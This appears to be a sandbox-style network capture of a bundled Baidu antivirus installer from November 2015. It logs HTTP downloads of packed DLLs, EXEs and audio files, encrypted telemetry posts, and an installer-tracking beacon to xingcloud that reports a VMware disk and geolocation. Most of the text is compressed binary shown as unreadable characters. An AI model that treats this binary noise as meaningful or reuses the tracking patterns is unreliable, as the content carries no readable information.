 DcSize="0x0000069d" DcTime="0x01cfa5afde6686e0" DcMd5="0x5ec267ec2ff6
df43fda7a5e65ff5508a" />..<File Name="icon4N.png.7z" Size="0x000
00890" Time="0x01d0a1d42f6a3386" Md5="0xa77b34cbb2b29fec46d4817e9ab521
e3" DcSize="0x00000992" DcTime="0x01cfa5afde6686e0" DcMd5="0x566610579
32fde3eeee5389d2151db9f" />..</ToolSummary>..</ToolFileLis
t>....
<<< skipped >>>

GET /baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:39 GMT

Content-Type: application/xml

Content-Length: 713

Connection: keep-alive

ETag: "51307ed-2c9-51826eea26fc0"

Last-Modified: Wed, 10 Jun 2015 09:59:35 GMT

Age: 1112147

Content-Range: bytes 0-712/713

Accept-Ranges: bytes

Ohc-Content-Crc: 4244350244

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...&...S.......V.......r...........f......{4.Y..!..h.A...z...v..h
.&...#u......`p6.vw".....4.....x.6...M..T@9."...S<nZ......`K....p .
.N.....f.....MK....F..kC:......,1.....Q&dtl.p.T.....:...i....5....-.&l
t;>....-...I4^.6d.k.f. ..a...,..Q=..'...W.:......-..zUE]...I... ...
....................R....T9.h..6es.......q(..8;J.a...8L...Pw...lB.0.G.
...y.t.8C r.......fb..|.5.$......hm..y..)~/.a.......Z.......R......'..
&...1.C.....]8=.....l....0..q.*.[_..Jn.u.....fZ.,.S..e.$..-.I...VK. .J
.s.0_~......9.b....n...[.......%&_...`...LC'(T.'^...%.f...N...........
.~3........L...d\Hy..Hi.0'c.S..B/PmL...z...T.]/....5j......h..F.,...(4
....N........S......#....]......R.....;u^.......d.e.t.a.i.l...x.m.l...
.....\.......... .........


GET /baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:39 GMT

Content-Type: image/png

Content-Length: 1639

Connection: keep-alive

ETag: "51307ef-667-51826eea26fc0"

Last-Modified: Wed, 10 Jun 2015 09:59:35 GMT

Age: 1111895

Content-Range: bytes 0-1638/1639

Accept-Ranges: bytes

Ohc-Content-Crc: 3530013437

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...v..D........^........;...D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f......Y9.l....(}...6.X.M.....C.Q........Ep.......
(.h_..K.Jo....j...1..c..1.-..pR2jL......v_.fQ.2..R..cH...1O..0.v].H...
.,."^..P6.S.i2..b.2/lKr..*[.......G.L.:_..].B.b...5?..H........K.t6V..
..,\Bs._...........B....,...v?..U........ ..A.J.f.S].....O:...>!...
..v8/.,...~......6..O..........RQ.8...W...L3M....>K'P...#U....1&K..
..1.g.......U.[9.:.;.^v<b....[...y.......Q..o[&..56..W..LX..r.0...D
s`n.......k.........fV.m.......MQi.F.}c........n@'.............dt'..|.
....]}4$..x....l......v...\4..P...X..R...8.Y.g9z.Y.%.r]o....Y" ...w!.D
%.."..1....P..W....tT.%.:......V.m.........z3....F._V.X8..O..g7y.....S
[ ...N...SK.D4>.....)3...L./..H..w..?..9.X...i&y..4....{@.8n...5.=.
.<.(.G...;<.z....(...bu......s..3.F@...X.....z"MZ.....;.e..I..&l
t;.........#.H....Pb.X.jY...d..?....a.a\../........Qw.......3.HF....?8
r.j*.Z.!.X........p.1h..t.....!J.z.(@..KT.E..O......H...Fn..>...9w.
!.I.I........j.... .....@.i.hpm........]....F;....Z....`]....L..5H;...
..n.U..o.'p.1..0.].......G....O..k .A^....,....)..D...B...N=......o..}
.b'...".^...`w?....].d.........P9*0......%}.8..3...K....ZB....%.@.<<< skipped >>>

GET /baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:40 GMT

Content-Type: image/png

Content-Length: 2790

Connection: keep-alive

ETag: "51307f1-ae6-51826eea26fc0"

Last-Modified: Wed, 10 Jun 2015 09:59:35 GMT

Age: 1111895

Content-Range: bytes 0-2789/2790

Accept-Ranges: bytes

Ohc-Content-Crc: 4016942935

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....N..r.......T........)WG.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u......{...G.' 9}.[b../.X.`....f....u....~.....
{.8q....xWS-Q.ZZ~.(.9.-..c...s.c.f..,.J...v......b.$....... .Uq.G...=/
.N...NZ.....B. .........Y.U......]m..r.h.G...Y[.!....8...c.r`b.]V.D...
.oB..../t....>.o9.g..|6.S....#...%,j..@.F...G..i...3.g...'..>...
....[|........;Qg..P.....j.c1...1...i[.6...........b.....&.......ZN..:
.?.~....2....._.A.W .....,.5.ebu..-.W-/T .........2y_...]]..q.F..>.
..u`.S....*.)c.]..5p.......b..~Jo.Q............='^..c.j.0...p.._.(.xW.
......tj.. .h.p...'@B=O..7.K...AT...!.. f..^.ktM...s....[...[..}[.s=.?
.......[...:...*[u......... .......u..?^..l)8..Gx..../k.... ...e. ..f.
.-..}HPAs.t..Q.z3...n..Qk.V.R.6.............o.^Q...C...i(dB.......IC..
.gR. ..~G...-. %Vc.......D..~..34.....f.S..:...;5.6HeQ0.{M........`p..
...&8.`{....1..h...O]....z{R.U....a!]....W.P...v.R.b|P.E.d..4)L .Y...&
......Q.......@... ...G...8/...d)p.TK.}Z..&...?\......{.j).....m.m..n[
. .2...c.y.X_..9....u.v.?..]..lM.?.}F.bR.R...../=...AWy.:.Gu.x_......,
......!.Jx..Dq0Y.Yk.*t.2....E...82.......L....x6nK..Z....um..)...Iy...
b...Q..*}.wQO...&...r..T(0.g....1....R.E..v|...* ...."...L)2....BA<<< skipped >>>

GET /5.4.3.147185/baidu_update/BavBsReport.exe.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:40 GMT

Content-Type: application/x-msdownload

Content-Length: 158146

Connection: keep-alive

ETag: "6ee6020-269c2-51b4b29f56b00"

Last-Modified: Mon, 20 Jul 2015 09:28:44 GMT

Age: 74174

Accept-Ranges: bytes

Ohc-Content-Crc: 2066470152

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.....Dw6i......l..........i.&..p.........../D.N....LE .f....E..g]
].. ..j5}..5...lX..^.c>1".B....;...8...........Q.t-......O.f3...zF.
..... ,..8.......g..S.YygP....m&. .."..~.......p-...f.p..].e$......G.I
].E.........32...iKV...;..............G.?.C&.../0.. _.b$.n.....y...Z..
..>.;.C. O{....sY.w.-..>.......3.K.7u.:..$...........~.....*.Wcq
.Nz@"..O..`.S....|']......V}. ...o..M....gM`...... ... .'.<yA....:M
Q..........n..[)..tM..NX.../....I....u^..Kq...6....y....;.........c.Vn
....o7,.t..c.l......o9...-.v. .......[.........tAAV...U.W.=.......\.^.
J .-..Jh.w}..a....K..)...#..H..>.WPh...-._.p4h..8..l<..(.d..yb5.
..........*......*.j m)..b#...*.....\..1J...y..%...,.Ax.y....9.HI..8\(
B.X....B..g...ZgM....b..$" ....J.s.....=.^{.|.....W..D..m...[qW.mF....
m..x....N.4Li 6.!........IT.;. ....i0..E.*w......'Q......b.t.p.J..P..q
.....q........$uJ.).0B..(.~.[.O.-..3.....6.[....r....K..eb.....w.1E...
......( .^.......e...o......i...q......o*.:...e-AJ...y(..G..A...q....5
f.D....'.b|.... T....GE.c..S......$..k......E7;...:.18lR...F#!....x'Y!
09...8.[.....P.....*..$...z_:....,uw.3j.lOT.x0.....P...6..k......3...Z
s{..k..)T...hW..&%e...R!..2..............T.X/93m.../....4...|r.h@.....
. .-.W.E'YJ....O.$.leV.".K#....|.<.e.(.J.A>..3"..9......*.......
e|..n..d.qH.As..)RP..eT..<-..!f..n.a..j.|R.K.1...-.p]m...o.....`.=.
..O..e....K.9*...y*P....V.....[1.6(}.....&...i:.....i2.|Vw.A.ZC11S...b
.~....d.Z...^pA......^[Ml.O..."...........C...*.B...B.1.d....g.......C
.J8.{N...{..$.x....G..i.r....hv .2.w...~6s.n....J.}H.....,O("..;..<<< skipped >>>

GET /5.4.3.147185/baidu_update/dbg64/dbghelp.dll.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:47 GMT

Content-Type: application/x-msdownload

Content-Length: 438254

Connection: keep-alive

ETag: "6ee803a-6afee-51b4b2a04ad40"

Last-Modified: Mon, 20 Jul 2015 09:28:45 GMT

Age: 75132

Accept-Ranges: bytes

Ohc-Content-Crc: 3828308345

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...../mj.......d.......6a<<.&..p.........../D.N..7A...ZK...
.@.....T.......YU....H....M..7..g@.*]...9.I..)=0.\.;...8.C..s6.....u.P
..b-..B.......o..h.J..{.....d*8..m...6.O9........=.W .........A..3....
..2.D2l..R..6q.._Hg....Fc"??.q..H.v..K(.r..um.'.I...9m...,.oh.5.k."...
...et...E...z.s.......?.l..W..ljh..".i..wQGn..D>.%...X......E.d.a~c
(w..>5...t.....gQ.s2..X........XN..Ke..Wq..T.h.fT.#..`...m}...f....
y..I.?"h...t-...t..i_Xo..Y...lf-B....o ...2....a..b0F....T.9...$...q/.
.\.7.........z.....6...Z.n...R....j...H.T...8.#B.bviu.......2..~"...f.
t...L\......?.J...2.AH|./^...n...|^...O XF{..~....F-...z...wd......n..
........0.\..48..../x...9..|.......}I.&....f..y......L#.wKC..m.Rz.....
>(......(..x...q.L.k.#..E.Z........j.....w=.......c.RH ..8F....r;#D
#..&.-,...N.%...{_...U.\..J.L.Y..@1.Xh..d...#\.H...i.....?.T/.$..l.a.k
..oU=.#s......P.yR..FwDZ].GP~.>......*.*......j;..K..y".HL.^.......
....t.....$q..F...X.f....N..N...|>.k...7l.....0u.R1p.."Y...........
.j4..T.@....&....h.B... .1G... .N...=..._.s.?(.....C ....*..:8}...4vY;
...4.|..{.{:iN....o..b..G...=.R.8|.~...C.Q....%Dq.<q..T..(;..V.D...
..2/..b..E....'..R..z...{..... '........._M9..{6T.9M......#a..yG......
7_...TJ.. .i.|....[..>q...(....t........o..E..o./E'3......?_.^.8...
\&.....n..5:\.......ZW....dm.K_8i...........P=WEJmrn...>N..w..,.75.
Mm....lE!P(..s...V..KC..Bv.6.Q y...z:.4....@....}.%:.;y}W._|..$\......
..C....P.=>Q0....V.g....Eh.{[, .../.j.0....nw....../.j..697sr.....*
.......O_.........q....... ...3z...zS@..J..J.^^..|.........]k.5.O.<<< skipped >>>

GET /5.4.3.147185/baidu_update/sound/1046/1/BD_10.mp3.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:53 GMT

Content-Type: audio/mpeg

Content-Length: 81703

Connection: keep-alive

ETag: "6eea218-13f27-51b4b2a13ef80"

Last-Modified: Mon, 20 Jul 2015 09:28:46 GMT

Age: 74498

Accept-Ranges: bytes

Ohc-Content-Crc: 3620440109

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...R.._.>......V............$..^.....YF1..W!.z.;..;...g8..$7..
|Y.N.V.K8'A.]7.C".=(......iet.1...z.?.y..H&-..)....F):......Q........L
...Y(......]b.......Q.T!w.0..z5...........Qz.........%.3).!...Aw.s.g..
.R...U.j.m0....S.uP5).KV.y.5..,i ..~..e%l.N"@.....).T&..i.....R."qLOW5
.g..N.e.r...u.)...pAG...8R;....".....VE...&.S."...4...2../..`4.}~.f2l;
.....=|...6..5......?....W.{.i.rL.. .....x|&*.h.......N)..1y....n4EB{.
0....t.&*ro....h...."W.s5q[.w.......C..'...4.qt..H*.....$z..}..FY...1.
..(e..p#.. .M...$.~..J.A...1..G.f&.(}..P...#y.wl.c.T}.oZ.iy.!.....oA..
...g......\...B....5...]..V..*d0...&}^.`!......l ..ta......"[...m(.)@I
..R./...>=^......Q`8....t 7.J.*s......2.|8....h_9.x..5@/.W..y...!.n
B$/...n..;t.8 ...&./H...r..V...".6.;....<...s?.O.......h{..-U......
v.%6.O....n.l....m.`....2.*.I..N..e...X.O><....a..X1..PN.2)]F.!5
...oL..n1..Xb........YZ.RX>..R...E.7.%.:.g...../..p....@.y.d..g8.i.
.D...r.\ye.bfdKn..]._R.....;..W..(... .Gdm.7H.|#{.Gqm.=...\X..F;.T....
.I.N....P...FJ..os..Y-6.j..I.;...6...D...b..7.I$=E..TL.k....!...mB.o..
cE .y..AG...d.#K.-..>...............KvG...2....HI...@.8.. .j...i.."
V..a.KXo(..A..V>...@.,\....`.S.(F'DV.L........V.14Z.7E.......@.....
"p...j..0K.r.....>...........?$......8}......E.".9`.m-L-..\........
w.v.$}....;V.... ...W.G...-a...X..Nl.....1dSI.M1..:.{`k..g..%j...z..`.
"j$....6........&.q..m-'o..W.UD.,..?P....{F.Q....;.h...]"?qZ..x...'./.
$2...E =.kN..m..f)[.!.?............Z2.84.`..#M.z.>.]s(..M.G.5.v....
..(...-pd.1....\h..c.58. r..o.*.Pw!b.7:.......F..{.........<,H.<<< skipped >>>

GET /5.4.3.147185/baidu_update/sound/1046/1/BD_7.mp3.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:56 GMT

Content-Type: audio/mpeg

Content-Length: 46480

Connection: keep-alive

ETag: "6eea21c-b590-51b4b2a13ef80"

Last-Modified: Mon, 20 Jul 2015 09:28:46 GMT

Age: 74472

Accept-Ranges: bytes

Ohc-Content-Crc: 2347663712

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...............T.........}..$..^.....YF1..W!.z.;..;...g8..$7...Y.
N.V.K8'A.]7.C".=(......iet.1...z.?.y..H&-..)....F):......Q........L...
.0$..,.S...[....1......P....F.'..3......>.V...K.R.Bx....%...|.....o
.l..{,..[.F.4w.c7.bk6..Zr].I.....c....f8...MS..#..M...D.h.B....~`....G
,....zxw...q..e.n.~5...V....Z...i...f...t.....-Qr...N.4..p~#..*J....B.
..y......Y......'0..; ....%....~.x.]._..8.(.......H.G.....d.Q.u &.....
.@..QOc]...,."........>..\. .`.[X.X}..{,.o.7v."t.....F.lL..}!G .`C,
...Z.p........^..N.Pm.%....Dc.Y'......j.:p..}....=.e......?e..H..nQz 4
...B.../l...:.....LN...7...y....r....s..y(.XP...J.._sv$..Q1x...>6E.
7..)..r...L^FV...w.......y0.=.....B.?....z.....U..L<.x...y...nvM...
..T..C<w.L.....tI.Z;....K.......0`.[.v.w~......y..t...?H.[..u...;..
....E.#........1.m.9F_..Ez..-S......$U..y....a.16Q..j.V..... ..^f.c...
......h.`.C..c..."n`o..F:'#D..B.`..@u...us&....4../.b.. Cq%*...~.K....
.....@QI..d!.X..........W...-...V.\.'T_...b.P-.2...R...g..4...%...`w..
.~.Q..D..U.xG........"..Y.A....u-..O:F..J#8H...._?.k.'..ZGE.Q..E..|[..
.w..o.U...........X.......K..8...0.N...O...f.sI=8h......}...#'.x.X....
...A....i..j.{.(....IF/..s?.......m{.)......d.......q.^..s.m..... t.EO
@.....s.1m.T..A3@.B.R../...mM.P.(.]...js. .L...aG.M....Zo%.!'.3*.g..S.
=......szw.....`.....k_.....Bpm\...].X.\.c.).....)......J.k'..@..-....
..lS...0...,..........K......J:...V...Y.<....6..9E<.......*G.$.I
Y.Zp.p...;d.`...=.5}K..s.Y.S.&.8.Y......[...r.....Hfi.. *..]..C.}u...t
.....X........^/g.2....Ysn......d...........Z....X..c.z.N..J..q.j.<<< skipped >>>

GET /5.4.3.147185/baidu_update/sound/1046/1/BD_9.mp3.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:59 GMT

Content-Type: audio/mpeg

Content-Length: 98591

Connection: keep-alive

ETag: "6eea220-1811f-51b4b2a13ef80"

Last-Modified: Mon, 20 Jul 2015 09:28:46 GMT

Age: 74017

Accept-Ranges: bytes

Ohc-Content-Crc: 380111735

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...............T.......B.Wb.$..^.....YF1..W!.z.;..;...g8..$7..|Y.
N.V.K8'A.]7.C".=(......iet.1...z.?.y..H&-..)....F):......Q........L...
....n....H...j@'7.!....'fcb.3ly.......g..[...H.~.Sl...@..2.n'H...h*.Id
6........<...\...........|O..$3............P..>...O...[.x]6..\.F
.......(.c..Y..f...&9$.l.bL.w...wL...q*.A...{l.9&1.Q..,....oPJ ....Ui.
....xrimd.3....d......g.I..z..........kTvg..O..zq......b...j.....is.A.
...7..c.I .R$.!..............Q........{.;>....M.M1...I.......t.4|..
...ap...taM.ZZ2U4..Op.X.H%.\..........e.?.3....H..U8..4?,.....c...H...
.V&V..I#....u....{..aE*N#9)......t]..MuA@#?!...y.........x.>-.kZD..
a.:....L.g.~.Y......<...d.r5....2..`...o..........m#w.cK....&...6..
TS.........x.0 .C/.cP..a...?T..f$Dv..-N..P...-......i...6.=i]fLu.].$]~
....-.....J.m$I.H...C)_...0)g..A..}.J.....N.........X!.C....1..L.:...[
.F....._z...U.L....3?..}~..:.W.....wW.q|iO.-.U....LkC.>.....d...S.m
2.....q&..i....aIhB.`....../....L ...w...K..U_... ...Ye..6..2.J.....?n
g=.......#..~I......L."...;..[..E@#h.6...As..y.Z.@..F..K.%R....xE.{...
.jM...i-k"....G.y..#.:u.~C3%.E...qe.....1...S......l..7....."'c...10..
.C.`]"1a\....).2....j\...H".........`3...R.S.Y...|.c....p%.\...*.8..,.
=...$....U..U...RP..R:.......q........s.-.fF.....!.uZ..E>...jr.}.?I
Pg.]V].....;...[..b.e..T.k.8Z[.m.)#.v.[....."M..o..FXQ..w...m.4.......
..|@...'...A<..wO..b.^.o../......:/.....`.....q........*=.....w...!
.3V...A.p.kjz@.z.Nv.R......D/../..[....Q...$a./._...............tp....
.lVc.L ..y..A....s...R.....x.b&.s.... ...e,`..Gs..._kO.B..d..2.[]U<<< skipped >>>

GET /bav_module/2015.06.24.63/skin/plugins/Plugin_Settings/res/skin.xml.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:05:04 GMT

Content-Type: application/xml

Content-Length: 7816

Connection: keep-alive

ETag: "5130809-1e88-51bd54ef1b280"

Last-Modified: Mon, 27 Jul 2015 06:17:30 GMT

Age: 693645

Accept-Ranges: bytes

Ohc-Content-Crc: 2970661559

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...............S.........J..w........3.a`.....f...'D.$.."8..S...5
..Xn....X...g..}....T.)(I.iBY.o..#.k..a..V...H^K'...|.].U.2.....,...].
s...\~........z.&T..&....z......`Wj.Bhx..'@o..r.%...&F...{.).p.2.87A.j
.6...Z..b.u}..8(r...h...6..@........5.zL..j^..O.2....x....fF.).n....o'
.9R.-"y[C~...t.!b.CNC'........8.8_.$.....^Hv$..^.....u.wED.t..d.0.....
.;....&DQ.s...]A....).....X..../O....q.K]]/..X..o..!...59."K...{......
WQ8H.....!rO..Y...%.K%.=.....8..#..j.6.....W......r.B.v.@.&.,.".c..$@G
"........'......U. ....X...y..E..'.J....b..U>......").9....t.,..:.B
.<k.c..Eg.u.L..<...z".{..G....&a....8....jOu..m.7....q..)m..<
..[r-.l.L...c..l..]..M....R...E..o...,x&|n.K..s.U......S...f.9cas4<
..iz2R.'.,...[......%..M.......<O.;{>Y..8m~..=H7....q..xn..}3g..
8.....N..g.....(.........4...?.3Ot...0n...G/5..H.g.|.0.B]...... .Y..S.
i...]Z.(...@.aY........*............C.........:`.mp....jW|$nm..ZQ....O
O*..k......y`y..t......D.A..t*$n1.._{[7r`e.m".0..t.o..ktT.\edsr*/..6..
.....I..c...O.u.#iX.1z....0T...7........K..b;:M4...X.2.'..."..n.X.&k..
..kC......B;.%a.i..t...pxWX. ....W.....T.(..U...a.^...h.h..g..........
F.>j.{g...`.g..G1..~d.J....?..`....S.q.?....5.9.,#....F..?.5$.....(
c,.rH7.olo......-.7J.K..........^..K.....8.o...2:Iv^.Np"..*<&.Oqk".
...``v`..Bz..hW.0....J.d.........S......Z..r..U....|....2GY.<..m...
...Nah..:g.^D&..<1.Kw...".kf....q ]M.jb.d...b;.pg.......g...v].6.:.
.-.G.....N`.?FO"..8...U.]..S..H.n.RAT....Z...0...p|.0yWi t.2....7.....
;.v.U...........4U.e.6{.p..PPJ./|....#...<....a..V..b]...i..I&g<<< skipped >>>

GET /bav_module/2015.06.12.57/BavDd.dll.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:05:05 GMT

Content-Type: application/x-msdownload

Content-Length: 237872

Connection: keep-alive

ETag: "823a165-3a130-5187478c4f540"

Last-Modified: Sun, 14 Jun 2015 06:30:05 GMT

Age: 761527

Accept-Ranges: bytes

Ohc-Content-Crc: 995860510

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...N2EU........`.......U3...&..p.........../D.N....LE .f....E..g]
].. ..j5}..5...lX..^.c>1".B....;...8............. ..9p5....t..v.!..
_e %I.*p>......I...Z..C.A..y..."1T.H..#~.,z.....C....`......$!.%.k}
.h4W.....S..T[.i...R9.E@.c...(k....p-L.8b.~?.4lV.....TQ....w.....?.Tq.
```.i.)..,L.5} ...CQ:OVQ....%.-P}!...N.. 6......O.,.....I....7B..}....
).... ...............q...g.%.......7>....j...D.!p......Tmm2k....2..
<t........a.Fu..M...c.....cVZ7..3.*:..wX......#......\...!M.{.>v
R8c..T.....T..q.m..R.<.w. ...!n..X............,....%L.!.q&..I?.T..3
.....[.l>..S8?.............z.{.B...=.uH......H..u.A.@!..H.q[.Av....
...xCaX.Rg....2r..(....@1_.g..0..!.-...!`7....9......3.....d......!)H.
.9E?........|....T...Y.....O.F.ymy.(.o.(.Dd.......;.C.#.T.;....:.MU...
..C.i GG':.3..:..X.[.CYwM.7.=..&.(.!%..Mp.W.D.lv.........s...}.*p3/...
.^f....c.k1E..<......z..x?,_..sG......;#.....{~..=[.g.q]xU......(..
.{g.......3.?.kM.@....8y.F..V...-R.nd..2!....w24t."t....u..9*.....I.#.
....K..<T....:x..g...8....rii>.Aw...$.....h1.....6Y..FN%..,...l.
?UaD.[...2'e..>Z..mj....bB..*..t-..yZ....40..8)0BX`.......0.......q
x.gd.8$f..A.ES.y.2.1.1.FN...P..I......,5.w.~..;..j......cF. C.z\.y`...
v...HD .X....iPA.b...{6.i.T<c.\..........9}..(.A.!I.k..<.r0....T
...4Gs..GOe.}..:.<.J.a}.&o.'....%.Q....y....M!........".4.A...o..\.
9.....v..,y.N.}.N..%A.(.7........%................>=(m.;.........{8
e 0....y..S.Wf!.....\6 .8...et...(... ..{...5.-L....;X....4....u1....X
2DPVc.!C...u ..C....v..s;. 4.......dD..0t.....3.: 6.G:.;...h.A^6.v<<< skipped >>>

POST /queryfeature.do HTTP/1.0

Content-Length: 131

Host: f.eg.bav.baidu.com

e=

.s..0...YWxs...o...n.!"........H.C....t...;../6..>Y.`..;.....!...".J.._.....x.7.d...d*.-..;."-...A. ...B.k.8
0^7.A...p..>d.:.^
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=2...j H.x..w..r T..Z..........

GET /cgi-bin/get_bavtools_update_info.cgi?guid=61807c4bafc26bb2ed98e3e60f587cd6&ChannelName=Imali|br|IBD|Bundle&ProgramVersion=5.4.3.147185&ToolsVersion=5.4.3.147185&os=6.5.1.2600.3.0.0&Ismanual=yes HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: update.eg.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:15 GMT

Server: Apache

Content-Length: 252

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/plain
<?xml version="1.0" encoding="utf-8"?><ServerRespond XmlVersi
on="1.0"><UpdateTools Md5="0xeab1daad0ce3522b2afc41d05f2e2288" N
eedUpdate="Yes" Size="1761" Url="hXXp://updown.bav.baidu.com/baidu_too
l/ToolsList_2015_06_10_02_09_55_10.xml"/></ServerRespond>..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 171

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..Y..

W.S.....O.{8...9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Y.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 205

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(T2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..v..

t.T.....l...@....#VR,.Y.%...Y..Y.....W..1C\.p..6\#.#..dl;..,.S.C.&...@q.b.3)i...o*.=..\jm.#2..C.>...d..{..v..K.....r

y5a
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.2.=!...}.C{H$.{w..\.!...q. ..T:1[...g..*..p5..fbh]..

0.0G>.

.z....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

.........0..'.......Bm..r.Pce......._.Y"..1...

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action1=xa.geoip&action2=visit&action3=pcm.visit.webssearches&update1=ref,pcm&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Nov 2015 07:03:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

4a..{"stats":"ok","time":"374.21 ms","message":"store 4 action and 5 u
pdate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Nov 2
015 07:03:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enc
oding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-ap
i-version: v4..4a..{"stats":"ok","time":"374.21 ms","message":"store 4
 action and 5 update "}..0..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 171

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

